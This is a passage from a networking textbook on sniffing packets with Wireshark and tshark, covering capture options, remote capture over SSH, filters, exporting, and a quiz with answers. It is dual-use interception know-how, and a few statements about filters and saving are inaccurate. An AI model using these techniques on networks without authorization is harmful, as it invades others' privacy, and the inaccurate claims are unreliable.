By default, Wireshark will continue capturing and displaying packets until the capture buffer is full. The capture buffer is a portion of memory that is used to store packets while they are being captured and analyzed. When the capture buffer is full, Wireshark will stop capturing packets and display a message in the status bar indicating that the capture has been stopped.

You can change the size of the capture buffer by going to the Capture menu and then selecting Options. Here, you can adjust the size of the capture buffer from the Input tab as well as other

settings related to packet capture, as illustrated in the Figure 3.6:
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Figure 3.6: Wireshark – Capture Options: Buffer

Please keep in mind that increasing the size of the capture buffer will allow Wireshark to store more packets before stopping the capture, but it will also use more memory and may impact the performance of your system.

 

Capture options: Input Tab

Figure 3.7 displays the Input tab of the Capture Options dialog in Wireshark. We can examine additional options available within this tab.
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Figure 3.7: Wireshark – Capture Options: Input Tab

It includes several options that you can use to configure the capture:

Interface: This  drop-down  menu  allows  you  to  select  the network  interface  on  that  Wireshark  should  capture packets.

Traffic: This  option  allows  you  to  specify  whether Wireshark should capture all traffic on the interface or only traffic that is sent or received by the host.

Link-layer  header:  This  option  allows  you  to  specify  the type  of  link-layer  header  that  should  be  used  when capturing  packets.  The  link-layer  header  is  the  part  of  the packet that contains information about the physical layer of the network, such as the MAC addresses of the sender and receiver.

Promiscuous:  This  checkbox  allows  you  to  enable  or disable promiscuous mode on the interface. In promiscuous mode,  the  interface  will  capture  all  packets  that  are transmitted on the network, regardless of whether they are intended for the interface or not.

Snaplen (B): This field allows you to specify the snapshot length, which is the maximum number of bytes that should be captured for each packet.

Buffer (MB): This field allows you to specify the size of the capture buffer, which is the amount of memory that is used to  store  packets  while  they  are  being  captured  and analyzed.

Monitor  mode:  This  checkbox  allows  you  to  enable  or disable  monitor  mode  on  a  wireless  interface.  In  monitor mode,  the  interface  can  capture  all  packets  that  are transmitted  over  the  air,  including  packets  that  are  not intended for the interface.

Capture  filter:  This  field  allows  you  to  specify  a  capture filter expression that will be used to select the packets that are  captured.  Capture  filters  use  the Berkeley  Packet Filter  (BPF)  syntax  and  allow  you  to  specify  the  criteria that a packet must meet to be captured.

 

Capture options: Output tab

The Output tab of the Capture Options dialog in Wireshark allows you to specify where the captured packets should be saved and

how they should be saved, as shown in the Figure 3.8. You can access this tab by going to the Capture menu, then selecting Options and clicking on the Output tab.
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Figure 3.8: Wireshark – Capture Options: Output Tab

The "Capture  to"  field  allows  you  to  specify  where  the captured  packets  should  be  saved.  You  can  choose  to  save the packets to a file by using the "Browse" button to select the location where the file should be saved.

The "Output format" field allows you to specify the format in  which  the  packets  should  be  saved.  Wireshark  supports "pcapng" and "pcap" output formats. You can choose the format that best suits your needs.

The "Create a new file automatically" option allows you to specify that a new file should be created automatically at a  specified  interval  or  when  the  file  size  reaches  a  certain limit.

The "compression"  option  allows  you  to  specify  the  level of compression to be used when saving the captured traffic to a file.

The "Use a ring buffer with" option allows you to specify that the capture should be saved to a series of files with a fixed maximum number of files.

You can use the options on the Output tab to specify where the captured packets should be saved and how they should be saved. This can be useful for storing the capture for later analysis or sharing it with others.

 

Capture options: Options tab

In Figure 3.9, the Options tab is visible, which presents supplementary configurations that can be adjusted during the process of capturing network traffic.
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Figure 3.9: Wireshark – Capture Options: Options Tab

The options available in this tab include:

Display options: Allows you to specify the display options for captured packets, such as updating the list of packets in real-time,  automatically  scrolling  during  live  capture,  and showing capture information during live capture.

Name  Resolution:  Allows  you  to  specify  whether Wireshark  should  resolve  network  addresses  to  hostnames while  capturing  network  traffic.  It  also  provides  options  to resolve  MAC  addresses,  resolve  network  names,  and resolve transport names.

Stop  capture  automatically  after:  Allows  you  to  specify that capture should stop after a certain number of packets or a certain amount of time.

Directory  for  temporary  files:  Allows  you  to  specify  the directory  where  temporary  capture  files  should  be  saved during the capture process.

These options enable fine-tuning of the capture process, improve the efficiency of capturing network traffic and make it easier to manage temporary files. The display options make it easier to navigate and analyze the captured packets during live capture. The name resolution options can provide more meaningful information, and the option to stop capture automatically after a certain number of packets or a certain amount of time can prevent the capture process from running indefinitely.

Now, click Start to start sniffing/capturing packets on the selected Network Interface or Multiple Interfaces, as illustrated in

Figure 3.10.

The captured packets will be shown in the "Packet List Pane" of the Wireshark window. More details can be found in the "Packet Details Pane", and "Packet Bytes Pane". You can use these panes to examine the details of a packet and understand how it is constructed and fits into the overall network communication.
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Figure 3.10: Start sniffing/capturing packets

 

Remote network packet

Sniffing network packets from a remote location involves capturing network traffic on a remote network and then transmitting the captured data back to a local machine for analysis. This can be accomplished using a variety of tools and techniques, such as:

Remote  packet  capture:  Some  network  devices,  such  as routers  and  switches,  have  built-in  packet  capture capabilities that can be accessed remotely. This allows you to  configure  the  device  to  capture  packets  and  then retrieve the captured data from a remote location.

Remote  sniffer:  Some  packet  sniffing  software,  such  as Wireshark,  can  run  in  remote  sniffer  mode,  which  allows you  to  capture  packets  on  a  remote  machine  and  transmit the captured data back to a local machine for analysis. This can  be  done  using  the  Wireshark  Remote  Capture  feature. It requires the remote machine to have Wireshark installed and the remote capture feature configured on it.

Tunneling:  Tunneling  is  a  technique  that  allows  you  to encapsulate  one  network  protocol  inside  another.  This  can be  used  to  transmit  network  traffic  over  an  insecure network, such as the internet, and then capture the traffic on the remote end of the tunnel. For example, you can use Secure Shell (SSH) to create a secure connection between

the  remote  machine  and  the  local  machine  and  then  use Wireshark  to  capture  the  network  traffic  over  the  SSH tunnel.

VPN: Virtual  Private  Networks  (VPNs)  allow  you  to create  a  secure  connection  between  two  networked devices.  It  can  be  used  to  capture  network  traffic  on  a remote  network  and  transmit  the  captured  data  back  to  a local  machine  for  analysis.  Wireshark  can  be  used  to capture  network  traffic  on  the  remote  network,  and  then the  captured  data  can  be  transmitted  back  to  the  local machine over the VPN connection.

It is important to note that these actions could be illegal or unethical, depending on the situation. It is always good to seek permission or have a legal reason before proceeding with the sniffing process.

Here, to sniff network packets from a remote location, we need:

A  remote  computer  with  an SSH  server  and tshark installed

Root access of the remote computer

Services  that  generate  network  traffic  on  the  remote computer

A  local  computer  with  an SSH  client  and Wireshark installed

 

Installing SSH on Remote Windows

OpenSSH components can be installed using Windows Settings on Windows Server 2019 and Windows 10 devices.

To install the OpenSSH components:

1. Open Windows Settings, select Apps, then select Optional

features under Apps & features, as shown in Figure 3.11:
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Figure 3.11: Windows apps and features

 

2. Check  the  list  to  see  if  the  OpenSSH  Server  is  already

installed.  If  not,  at  the  top  of  the  page,  select  Add  an

optional feature, then find OpenSSH Server, select and then

Install, as illustrated in the Figure 3.12:

[image: ]

 

Figure 3.12: Install OpenSSH Server on Windows

3. Once  setup  completes,  check  the  list  of  the  installed

features  in  Optional  features  and  confirm  OpenSSH  Server

is listed in the remote computer.

Note: Follow the same procedure to install OpenSSH Client on the Windows local computer.

 

4. Open  the  Services  desktop  app.  (Select Start,  type

services.msc  in  the  search  box,  and  then  select  the Service

app or press Enter.).

5. To locate the OpenSSH SSH Server, perform a search and

double-click  on  it,  as  illustrated  in Figure  3.13.  This  action

will open the Properties tab.
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Figure 3.13: Services.msc OpenSSH SSH Server

 

6. In  the General  tab,  locate  the Startup  type  drop-down

menu and choose "Automatic" from the available options,

as  depicted  in Figure  3.14.  Afterwards,  select  the "Start"

option  to  initiate  the  service.  You  can  now  observe  the

current status of the service.
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Figure 3.14: Start OpenSSH SSH server

 

Installing SSH on Remote Linux

To install the SSH server on a Linux machine:

1. Type the command:

sudo apt-get install openssh-server

Note: Using the same procedure, you can install OpenSSH-client on Linux local computer.

2. Configure  the  SSH  service  to  start  automatically  at  boot

time by using the following:

sudo systemctl enable ssh

3. Start the SSH service using the following command:

sudo systemctl start ssh

After the successful installation of the SSH server in the remote computer and the SSH client in the local computer, our goal is to use tshark commands on the remote computer, through SSH, to capture network traffic. Then the captured traffic can be copied to the local computer for analysis with Wireshark.

This is useful when you do not have physical access to the remote machine or are running it ‘headless,’ that is, without a keyboard and monitor.

1. Now, Step  1  is  to capture  packets  with  tshark  remotely

through  SSH.  To  capture  traffic  with  the  tshark  command,

first,  we  need  to  connect  to  the  remote  computer  through

SSH.

To  capture  packets  with tshark  remotely  through  SSH,  you

can  use  the  following  command,  as  shown  in  the Figure

3.15:

ssh user@remote_host
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Figure 3.15: Capture packets with tshark remotely through SSH

This command connects to the remote host using SSH with

the  specified  username  (user)  and  runs  the  tshark

command on the remote machine.

Note: You will also require root access or sudo privileges of the remote computer. Otherwise, the tshark would not be able to capture traffic, and you will see an error stating, “You don’t have permission to capture on that device”.

 

Once  you  have  connected  to  the  remote  host  using  SSH,

run  the  following  command  to  start  capturing  traffic  using

tshark:

tshark -i interface -w capture_file

The -i  option  specifies  the  network  interface  to  capture

packets.  You  can  specify  the  interface  name  (for  example,

eth0) or use the keyword any to capture from all interfaces.

The -w option specifies the file to save the captured packets

to.  You  can  specify  the  path  and  file  name  of  the  capture

file.  For  example,  to  save  the  packets  to  a  file  named

"capture.pcap"  in  the  home  directory  of  the  current  user,

employ  the  following  command,  as  illustrated  in Figure

3.16:

tshark -i eth0 -w capture.pcap
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Figure 3.16: Capturing traffic using tshark

Before  you  can  copy  the  captured  file  from  the  remote

computer  to  the  local  one  for  analysis  with  Wireshark,  you

will  have  to  change  the  permissions  of  the  file.  By  default,

tshark sessions captured by the root user cannot be copied.

To change the permissions of the file, you can use the chmod

command, as shown in the Figure 3.17. Here is an example

command:

sudo chmod 644 capture.pcap
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Figure 3.17: Change permissions

 

This  command  will  give  read  and  write  permissions  to  the

owner  of  the  file  and  read-only  permissions  to  others.  This

means that the owner of the file can read and write the file,

while other users can only read the file.

Now, you can copy the file to your local machine using SCP,

as outlined in the next step.

2. The second step is copying a tshark session for analysis.

Secure  copy  (SCP)  is  a  convenient  way  to  transfer  the

capture file from the machine where TShark was run to the

machine where Wireshark is installed for analysis.

Windows  users  would  need  to  download  the pscp  executable

and  add  it  to  the  system  PATH,  but  it  is  not  necessary  to

copy  it  to C:\Windows\System32.  Instead,  you  can  add  the

directory  where pscp.exe  is  located  to  the  system  PATH

environment  variable  so  that  it  can  be  run  from  any

directory.

To use the pscp.exe utility on Windows, you will need to open

PowerShell and run the following command:

pscp.exe kali@192.168.1.7:/path/to/file .

This command will copy the file located at “/path/to/file” on

the  machine  with  IP  address “192.168.1.7”  (in  this  example,

the  machine  is  named “kali”),  and  copy  it  to  the  current

directory  on  the  local  machine.  The “.”  at  the  end  of  the

command specifies the current directory as the destination.

You will be prompted to enter the password for the remote

machine. Once the correct password is entered, the file will

be copied to the local machine.

Additionally, Mac and Linux users do not need to download

any additional software since SCP is typically included with

the  operating  system  by  default.  The  command  "scp"  is

built-in and ready to use.

To use the SCP command on Mac or Linux, you can open a

terminal  window  and  run  the  following  command  to  copy

the capture file:

scp kali@192.168.1.7:/tmp/capture.pcap .

This command will copy the file “capture.pcap“ located in the

“/tmp“  directory  on  the  machine  with  IP  address

“192.168.1.7“  (in  this  example,  the  machine  is  named kali)

and  copy  it  to  the  current  directory  on  the  local  machine.

The “.”  at  the  end  of  the  command  specifies  the  current

directory as the destination.

You will be prompted to enter the password for the remote machine. Once the correct password is entered, the file will be copied to the local machine.

It is important to note that the destination folder should exist. Otherwise, the transfer will fail.

 

Display and capture filters

One of the powerful features of Wireshark is the ability to filter the packets that are displayed and captured. There are two types of filters in Wireshark: capture filters and display filters.

 

Capture filters

Capture filters are applied before packets are captured and allow you to specify which packets should be saved to the capture file. This can be useful for reducing the amount of data that needs to be analyzed and for capturing only specific types of traffic.

Capture filters can be set in Wireshark by using the Capture from the menu. Select "Options" from the drop-down menu. In the Capture Options dialog box, select the interface on which you want to capture packets. And type in the filter expression you want to use in the "Capture Filter for selected interfaces" field.

To capture all packets sent to or from a specific IP address, you

can employ the filter "host 192.168.1.1", as depicted in Figure

3.18. This filter will capture all packets to or from the IP address 192.168.1.1.
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Figure 3.18: Capture filter

Figure 3.19 exhibits the outcomes of the applied filter "host 192.168.1.1". In this figure, you can observe the captured packets that are specifically related to the IP address 192.168.1.1.
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Figure 3.19: Capture filter example 1

This way, we can limit the amount of data that is captured and saved to the capture file, which can make your analysis more efficient and focused. By only capturing packets that match the specified criteria, you can reduce the amount of irrelevant data that you need to sift through.

Another example would be if you want to capture only TCP packets sent to or from port 80 (HTTP), you can use the filter tcp port 80.

When the filter "tcp port 80" is applied, as depicted in Figure 3.20, only TCP packets that are sent to or from port 80 (HTTP) will be captured. The figure illustrates the resulting packet capture after applying this filter, allowing you to observe the specific TCP traffic related to port 80.
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Figure 3.20: Capture filter example 2

Now, you can see the captured packets ONLY include TCP packets that have a destination or source port of 80.

When working with capture filters, it is important to keep in mind that the filter is applied before the packets are captured, so only packets that match the specified criteria will be saved to the capture file. This means that if you later want to analyze packets that do not match the filter criteria, you will not have them in the capture file, and you will not be able to view them in Wireshark.

Also, it is important to note that Capture filters have a more powerful syntax than display filters, so you can use more complex expressions to match the packets you want to capture.

 

Display filters Display filters allow you to focus on specific packets by filtering out packets that do not match the specified criteria. These filters are applied after packets have been captured, and they allow you to view only the packets of interest.

For example, if you are troubleshooting an issue with a specific IP address, you can use a display filter to show only the packets that contain that IP address. The filter expression for this would be “ip.src == 192.168.1.1 or ip.dst == 192.168.1.1”. This will show all packets sent from or to the IP address 192.168.1.1, as shown in

the Figure 3.21:
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Figure 3.21: Display filter example 1

Another example is the filter “tcp.port == 443 && ip.src == 192.168.1.2” in Wireshark will display only the TCP packets with the source IP address of 192.168.1.2 and destination port of 443, as

illustrated in the Figure 3.22.

The filter checks for a specific condition on two fields, the tcp.port and the ip.src. The first condition is that the value of the tcp.port field must be 443. The second condition is that the value of the ip.src field must be 192.168.1.2. The && operator is used to combine these two conditions and match only packets that fulfill both conditions.
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Figure 3.22: Display filter example 2

Some of the operators in Wireshark include:

"==" (equal to):  Matches  packets  where  the  value  of  the specified field is equal to the specified value. For example, "tcp.port  ==  443"  matches  packets  with  a  destination  port  of 443.

"!="  (not  equal  to): Matches  packets  where  the  value  of the  specified  field  is  not  equal  to  the  specified  value.  For example, "tcp.port != 80" matches packets with a destination port other than 80.

">"  (greater  than):  Matches  packets  where  the  value  of the  specified  field  is  greater  than  the  specified  value.  For example, "tcp.window_size  >  1000"  matches  packets  with  a window size greater than 1000 bytes.

"<"  (less  than):  Matches  packets  where  the  value  of  the specified field is less than the specified value. For example, "tcp.window_size  <  1000"  matches  packets  with  a  window  size of less than 1000 bytes.

">=" (greater than or equal to): Matches packets where the  value  of  the  specified  field  is  greater  than  or  equal  to the specified value.

"<=" (less than or equal to): Matches packets where the value  of  the  specified  field  is  less  than  or  equal  to  the

specified value.

"&&"  (and):  Matches  packets  where  both  conditions  are true.  For  example, "tcp.port  ==  80  &&  ip.src  ==  10.0.0.1" matches packets with a destination port of 80 and a source IP of 10.0.0.1.

"||" (or):  Matches  packets  where  at  least  one  condition  is true. For example, "tcp.port == 80 || tcp.port == 443" matches packets with a destination port of either 80 or 443.

"!" (not): negates the condition. For example, "!(tcp.port == 80)" matches packets with a destination port other than 80.

These are the basic operators; Wireshark also supports more complex and advanced operators to create custom filters.

It is important to mention that the syntax of the filter field is case-sensitive and the use of spaces and special characters like “=” and “!” must be respected.

 

Maximizing packet capture performance

Packet capture tools can have performance issues when dealing with high-speed networks and large volumes of traffic. The three tasks of reading packets from network interfaces, processing them, and storing or displaying the results can become a bottleneck when dealing with millions of packets per second.

To overcome these performance issues, several approaches can be taken:

Measuring  the  problem:  To  accurately  measure  the performance  of  a  packet  capture  tool,  you  need  to understand  the  network  traffic  patterns  and  the  volume  of traffic  that  the  tool  is  expected  to  handle.  You  can  use network  monitoring  tools  to  measure  the  traffic  on  the network  and  determine  the  number  of Packets  Per Second (PPS) that the tool needs to handle.

For  example,  you  can  use  Wireshark's  statistics  to determine  the  average  packet  size  and  the  number  of  PPS that are being sent on the network.

You can also use Wireshark's "Capture | Options" to set a capture filter to limit the number of packets to capture and analyze.

Input: To capture packets, the tool needs to have access to the network traffic. This can be done by connecting the tool to a network interface on the capture system or by using a network tap or span port to provide a copy of the traffic to the tool.

Note: A network tap, often referred to as a "tap" or "network TAP," is a hardware device used to capture network traffic by monitoring data flowing between network devices. It does this by physically intercepting and copying data from a network link and sending it to monitoring or analysis tools. Network taps are commonly used for network troubleshooting, monitoring, security analysis, and performance optimization. They ensure that network traffic is captured without affecting the flow or integrity of the data. A  SPAN  port,  also  known  as  a  "mirror  port"  or  "monitor  port,"  is  a feature  commonly  found  on  network  switches.  It  allows  network administrators  to  configure  a  specific  switch  port  to  duplicate  the traffic  passing  through  other  ports.  This  mirrored  traffic  can  then  be sent  to  a  monitoring  device  or  analysis  tool  for  various  purposes, including  network  monitoring,  traffic  analysis,  and  security assessment.  SPAN  ports  are  a  software-based  method  for  capturing network traffic within a switch's capabilities.

 

For example, you can connect a network tap or span port to the switch or router on your network, to provide a copy of the traffic to Wireshark.

Instead  of  capturing  traffic  directly  from  a  network interface on the capture system, you can use a network tap or  span  port  to  provide  a  copy  of  the  traffic  to  Wireshark. This can help improve performance by reducing the load on the capture system.

Filtering: To improve performance, it is important to filter the packets that are captured to only include those that are needed for analysis. This can be done using filters such  as the Berkeley Packet Filter (BPF) or by using specialized software that has built-in filtering capabilities.

For  example,  you  can  use  Wireshark's  built-in  filtering capabilities to filter packets based on specific criteria such as  the  source  or  destination  IP  address,  port  number,  or protocol.

You can also use Wireshark's "Capture | Options" to set a capture filter to limit the number of packets to capture and analyze.

BPF,  the  Berkeley  Packet  Filter:  BPF  is  a  powerful filtering mechanism that allows you to filter packets based on  specific  criteria  such  as  the  source  or  destination  IP address, port number, or protocol. This can help reduce the number of packets that need to be captured and processed, improving performance.

For  example,  you  can  use  Wireshark's  built-in  filtering capabilities to filter packets based on specific criteria such as  the  source  or  destination  IP  address,  port  number,  or protocol.

You can also use Wireshark's "Capture | Options" to set a capture filter to limit the number of packets to capture and analyze.

Capturing  partial  data  packet:  By  capturing  only  the headers  of  the  packets,  or  only  the  data  payload,  you  can reduce  the  amount  of  data  that  needs  to  be  stored  and processed.  This  can  be  done  by  using  specialized  software that  allows  you  to  capture  only  the  needed  parts  of  the packet or by using filters to exclude unnecessary data.

For  example,  you  can  use  Wireshark's  built-in  filtering capabilities  to  exclude  packets  that  contain  unnecessary data such as DNS traffic.

You can also use Wireshark's "Capture | Options" to set a capture filter to limit the number of packets to capture and analyze.

Turn off DNS resolution: One way to reduce the load on the  capture  system  is  to  turn  off  the  resolution  of hostnames  to  IP  addresses.  This  can  be  done  by  using

specialized software that allows you to turn off this feature or by using filters to exclude DNS traffic.

For example, you can use Wireshark's "Edit | Preferences | Name Resolution" to turn off the resolution of hostnames to IP addresses.

You can also use Wireshark's "Capture | Options" to set a capture filter to limit the number of packets to capture and analyze.

By implementing these techniques, you can reduce the load on the capture system and improve the performance of Wireshark when capturing packets. It is important to note that the specific implementation will depend on the network traffic patterns, the volume of traffic, and the capture tool being used.

 

Stop sniffing, saving, and exporting packets

In Wireshark, you can stop sniffing, saving, and exporting packets by using the following methods:

 

Stop sniffing

When you start a capture in Wireshark, packets are captured and displayed in real time. To stop capturing packets, you can click on the Capture menu at the top of the screen and select Stop or press the Stop button on the Wireshark toolbar, as indicated in

the Figure 3.23.

This will stop the capture process and no further packets will be captured. The packets that have already been captured will remain in the Wireshark display, allowing you to continue to analyze them.
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Figure 3.23: Stop capturing packets

Also, in Wireshark, you can set the capture to stop after a certain number of packets or a certain amount of time has elapsed. To do this, go to the Capture menu and select Options. In the Capture Options dialog, you can set the Stop capture option to After N packets or After N minutes. You can enter the number of packets or minutes that you want the capture to run for, as shown in

Figure 3.24:
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Figure 3.24: Stop capturing automatically

Once the capture has stopped, Wireshark will prompt you to save the capture file for later viewing. You can then choose a location to save the file and click Save to save the capture.

Keep in mind that setting a capture stop condition is a good way to avoid capturing too much data, which can be useful if you are only interested in a specific portion of the traffic.

Alternatively, you can also use the keyboard shortcut Ctrl+E to stop the capture process.

 

Saving the captured data packets

Once you have captured the packets, you can save them to a file. Go to the File menu, and select Save As to save the packets in various file formats such as PCAP, CSV, or text.

You can also save the packets automatically by checking the "Automatic scrolling in live capture" option in the Capture options dialog box. This will automatically save the packets to a temporary file. It will be saved in the default location that you have set in the Wireshark preferences.

It is important to note that when you save the packets in a file, it will save all the packets that have been captured up to that point.

Also, make sure to save the capture file with an appropriate name and in an appropriate location, so you can easily find it later. Overall, saving packets in Wireshark allows you to preserve the captured packets for further analysis or sharing with others.

 

Exporting packets

Exporting packets in Wireshark allows you to save a subset of the captured packets in a different file format for further analysis or sharing with others.

1. Once  you  have  captured  the  packets,  you  can  select  the

packets  you  want  to  export  by  clicking  on  them  in  the

Wireshark  display.  You  can  select  multiple  packets  by

holding down the Ctrl key while clicking on them.

Go  to  the  File  menu,  and  select  Export  Specified  Packets.

This  will  open  the  Export  Specified  Packets dialog  box,

where you can select the file format to export the packets in

(such  as  PCAP,  CSV,  or  text)  and  the  location  to  save  the

file.

2. Once  you  have  selected  the  file  format  and  location,  click

on  the  Save  button  to  export  the  selected  packets.  The

exported packets will be saved in the specified format and

location.

Additionally,  you  can  also  use  the  "File  | Export  Packet

Dissections"  option  to  export  the  packets  in  various

formats like plain text, PSML, PS, PDF, and CSV. This option

allows  you  to  export  the  packet  dissections  in  a  more

structured  format,  which  can  be  useful  for  sharing  the

packet details with others.

Exporting  packets  in  Wireshark  is  a  useful  feature,  as  it

allows  you  to  save  a  subset  of  the  captured  packets  in  a

different file format, which can be useful for further analysis

or  sharing  with  others.  Additionally,  it  also  allows  you  to

keep the original capture file intact and also enables you to

share the exported packets with others without sharing the

entire capture file.

 

Challenges/limitations of packet capturing

Packet capturing is a valuable technique for network analysis, monitoring, and troubleshooting, but it comes with several challenges and limitations. Here are some of the key challenges and limitations of packet capturing:

Privacy  concerns:  Capturing  and  analyzing  packets  can potentially  reveal  sensitive  or  private  information,  which raises privacy concerns. Proper data handling and security measures are essential to mitigate these issues.

Legal  and  ethical  issues:  Capturing  network  packets without proper authorization can be illegal and unethical. It is  crucial  to  obtain  consent  or  work  within  legal frameworks, such as relevant data protection laws.

High  volume  of  data:  Networks  generate  a  vast  amount of  data,  and  capturing  and  storing  all  packets  can  be

overwhelming.  Handling  large  volumes  of  data  requires substantial storage and processing resources.

Storage requirements: Packet captures consume storage space quickly. This can be costly and necessitates efficient data retention and archival strategies.

Performance  impact:  Continuous  packet  capturing  can impact  network  performance,  especially  on  high-traffic networks.  This  can  lead  to  packet  loss  or  delays  if  not managed properly.

Packet  filtering:  Filtering  packets  to  focus  on  specific traffic of interest is essential. However, setting up accurate filters can be challenging, and incorrect filtering may result in missing crucial data.

Time  sensitivity:  Analyzing  real-time  traffic  requires specialized tools and methods. Delayed analysis may cause you to miss important events.

Encrypted  traffic: Encryption,  such  as  TLS/SSL,  can prevent  the  capture  and  analysis  of  packet  content.  While you  can  capture  encrypted  packets,  deciphering  their content can be challenging.

Packet  loss:  On  busy  networks  or  during  high-traffic periods,  packets  may  be  dropped  or  not  captured  in  their entirety.  This  can  affect  the  completeness  of  the  packet capture.

Decoding complexity: Interpreting raw packet data often requires expertise in network protocols and packet analysis tools, which can be a barrier for some users.

Overhead  and  resource  usage:  Packet  capture  tools require system resources, such as CPU and memory, which can impact the performance of the capturing device.

Network segmentation:   In    segmented    networks, capturing all traffic across all segments can be challenging. Special  configurations  may  be  required  to  capture  traffic from different network segments.

Addressing these challenges and limitations often involves a combination of technology, best practices, and expertise to ensure effective and ethical packet capturing and analysis.

 

Conclusion

In conclusion, effectively sniffing network packets requires a clear understanding of what you want to capture, as well as the right tools and techniques. By selecting a specific network interface or multiple interfaces, you can focus on the traffic of interest and filter out unnecessary packets. Performing packet sniffing, whether on a local network or remotely, allows you to capture and analyze packets in a real-time, and using the display and capture filters allows you to focus on specific packets of interest.

Maximizing packet capture performance through the use of high-performance NICs, filters, and efficient storage systems is crucial for effective analysis and troubleshooting. Knowing how to stop sniffing, saving, and exporting packets in Wireshark is also important for effectively managing captured packets and preserving them for further analysis or sharing with others.

Overall, by understanding and implementing these techniques, you can effectively sniff network packets and analyze them to troubleshoot and resolve network issues.

 

Questions

1. What  is  the  purpose  of  capture  filters  in  packet

sniffing?

a)  To  select  a  specific  network  interface  or  multiple

interfaces

b) To capture specific types of packets

c) To maximize packet capture performance

d) To stop sniffing, saving, and exporting packets

2. What  do  you  need  to  know  before  starting  a  packet

sniffing session?

a) The specific network interface to use

b) The type of packets to capture

c) The location of the target device

d) All of the above

3. What is the purpose of using a display filter in packet

sniffing?

a) To limit the number/type of packets displayed

b) To increase the number/type of packets captured

c) To encrypt the packets

d) To change the format of the packets

4. How  can  you  improve  the  performance  of  a  packet

sniffing session?

a) Use a fast network interface

b) Capture only necessary packets

c) Use a display filter

d) All of the above

5. Can  you  sniff  network  packets  from  remote

locations?

a) Yes, if you have access to the router or gateway of the

network.

b) Yes, if you use a tool like Wireshark or tcpdump.

c) No, you can only sniff packets from your own network

interface.

d) No, you need physical access to the network cable or

device.

6. What  is  the  main  function  of  the '-i'  option  in  the

command line interface of Wireshark?

a)  To  select  a  specific  network  interface  or  multiple

interfaces for packet capture

b) To specify a capture filter for packet capture

c) To specify a display filter for packet analysis

d) To save the captured packets to a specific file

7. Why  is  it  important  to  know  what  you  want  to  sniff

before starting a packet sniffing session?

a) To limit the amount of network traffic captured

b) To ensure that the right packets are captured

c)  To  improve  the  performance  of  the  packet  sniffing

session

d) All of the above

8. What  is  the  main  function  of  the '-w'  option  in  the

command line interface of Wireshark?

a)  To  select  a  specific  network  interface  or  multiple

interfaces for packet capture

b) To specify a capture filter for packet capture

c) To specify a display filter for packet analysis

d) To save the captured packets to a specific file

9. What  is  the  main  function  of  the '-R'  option  in  the

command line interface of Wireshark?

a)  To  select  a  specific  network  interface  or  multiple

interfaces for packet capture

b) To specify a capture filter for packet capture

c) To specify a display filter for packet analysis

d) To save the captured packets to a specific file

10. What  is  the  main  function  of  the '-f' option  in  the

command line interface of Wireshark?

a)  To  select  a  specific  network  interface  or  multiple

interfaces for packet capture

b) To specify a capture filter for packet capture

c) To specify a display filter for packet analysis

d) To save the captured packets to a specific file

 

Answers

1. b

2. d

3. a

4. d

5. a

6. a

7. d

8. d

9. c

10. b
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CHAPTER 4

 

Sniffing on 802.11 Wireless

Networks

 

Introduction

After understanding packet sniffing using Wireshark, let us discuss sniffing on 802.11 Wireless Networks (WLAN). This chapter covers the basics of wireless networking, capturing and analyzing network traffic on a WLAN. It starts with a brief introduction to WLANs and the necessary setup for WLAN capture. Further, we elaborate on sniffing WLAN network traffic and the difference between monitor and promiscuous modes.

The chapter also covers the analysis of different types of WLAN traffic, including WPA/WPA2 with PSK or EAP, multicast traffic, and web authentication. The goal of this chapter is to provide a comprehensive understanding of WLAN sniffing and how to effectively analyze captured WLAN traffic.

 

Structure

In this chapter, we will discuss the following topics:

802.11 wireless networks

802.11 wireless network architecture

802.11 packet structure

Wireless card modes

Difference between monitor mode and promiscuous mode

WLAN capture setup

Sniffing WLAN Network Traffic

Wi-Fi sniffer: WPA/WPA2

802.11 Sniffer Capture Analysis: Multicast

802.11 Sniffer Capture Analysis: Web Authentication

Challenges of sniffing 802.11 wireless networks

 

Objectives

The objective of this chapter is to provide a comprehensive understanding of 802.11 WLAN and how to effectively capture and analyze WLAN traffic. The chapter covers the architecture of 802.11 wireless networks, including the packet structure and wireless card modes. It explains the difference between monitor mode and promiscuous mode and sets up the necessary environment for WLAN capture.

The chapter focuses on the techniques for sniffing WLAN network traffic using Wireshark and provides detailed instructions on using Wireshark to capture and analyzing network traffic on WLANs. It discusses the analysis of 802.11 sniffer captures, including WPA/WPA2 with PSK or EAP, multicast, and web authentication.

By the end of the chapter, readers will have a solid understanding of the tools and methodologies used for capturing and analyzing WLAN traffic, as well as the security risks associated with WLANs and how to mitigate those risks. The chapter aims to equip the reader with the knowledge and skills necessary to perform WLAN sniffing for legitimate and ethical purposes, such as network analysis and troubleshooting.

 

802.11 wireless networks

IEEE 802.11 is a set of standards for Wireless Local Area Networks (WLANs) that define specifications for wireless communication between devices in a WLAN. It is a type of local area network that uses wireless communication technology to transmit and receive data over the air, as opposed to using cables.

The 802.11 standards specify the physical layer, the Media Access Control (MAC) layer, and the management and security mechanisms for WLANs. The physical layer defines the specifications for the wireless transmission of data, including the frequency bands, data rates, and modulation techniques. The MAC layer specifies how devices in a WLAN access and share the wireless channel, and manage the transmission and reception of data. The management and security mechanisms include specifications for managing the WLAN, such as power management, and for securing the WLAN, such as encryption and authentication.

WLANs based on 802.11 standards are commonly referred to as Wi-Fi networks. Wi-Fi networks use Radio Frequency (RF) technology to transmit and receive data over the air and are used in a variety of applications, including homes, offices, public hotspots, and enterprise networks. Wi-Fi networks can support multiple devices simultaneously and provide high data rates and reliable communication.

The 802.11 standards have evolved over time to support faster data rates and improved security, with the most recent standard being 802.11ax (also known as Wi-Fi 6). 802.11ax introduces several new technologies, such as MU-MIMO and OFDMA, to improve the efficiency and capacity of Wi-Fi networks, and support higher data rates and more connected devices.

In conclusion, 802.11 WLANs are wireless local area networks based on the 802.11 standards for wireless communication and are commonly known as Wi-Fi networks. WLANs use RF technology to transmit and receive data over the air and are widely used due to their ease of deployment, high data rates, and compatibility with various devices. The 802.11 standards specify the physical, MAC, management, and security mechanisms for WLANs and have evolved to support faster data rates and improved security.

802.11 wireless network architecture

The 802.11 wireless network architecture, also known as Wi-Fi, is a wireless local area network (WLAN) technology that allows devices to communicate with each other and access the internet without the need for physical cables.

The main components of an 802.11 wireless network are:

Wireless  AP  (Access  Point):  The  AP  is  the  hub  for  all wireless  clients  to  connect  to  and  access  the  network.  It has a wireless radio transceiver and an antenna, which are used to broadcast the wireless signal over a specified area. It  also  has  a  wired  connection  to  the  internet  or  a  local network, allowing wireless clients to access the internet or other resources on the local network.

